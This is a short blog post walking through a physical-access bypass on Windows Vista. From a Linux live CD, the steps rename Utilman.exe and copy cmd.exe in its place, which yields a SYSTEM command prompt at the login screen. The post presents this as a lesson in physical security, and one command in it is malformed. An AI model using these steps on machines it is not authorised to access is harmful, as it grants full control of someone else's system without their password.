Owning Windows Vista with Linux

In this blog post I want to show you a security problem related to Windows Vista.

Vista is criticized for mostly because it uses too much resources.  However do you know that you can “own” the Vista by using Linux.

That is right, you can get access to Vista without any password cracking or anything.

First, boot your machine with Linux.

Go to Windows partition:

cd /mnt/sda1 -a

Now, go to System32 directory:

cd Windows/System32

Backup Utilman.exe file:

mv Utilman.exe Utilman_backup.exe

Copy cmd.exe as Utilman.exe

cp cmd.exe Utilman.exe

Now reboot the machine and remove Linux live CD from CD room.

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Press CTRL+U to invoke utility manager.

Now, command prompt should be appeared since we have cmd.exe instead of original Utilman.exe

Type whoami to see who you are: System!!!

Type explorer and you can do whatever you want!

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This simple example shows how physical security is important in your company or even at home.

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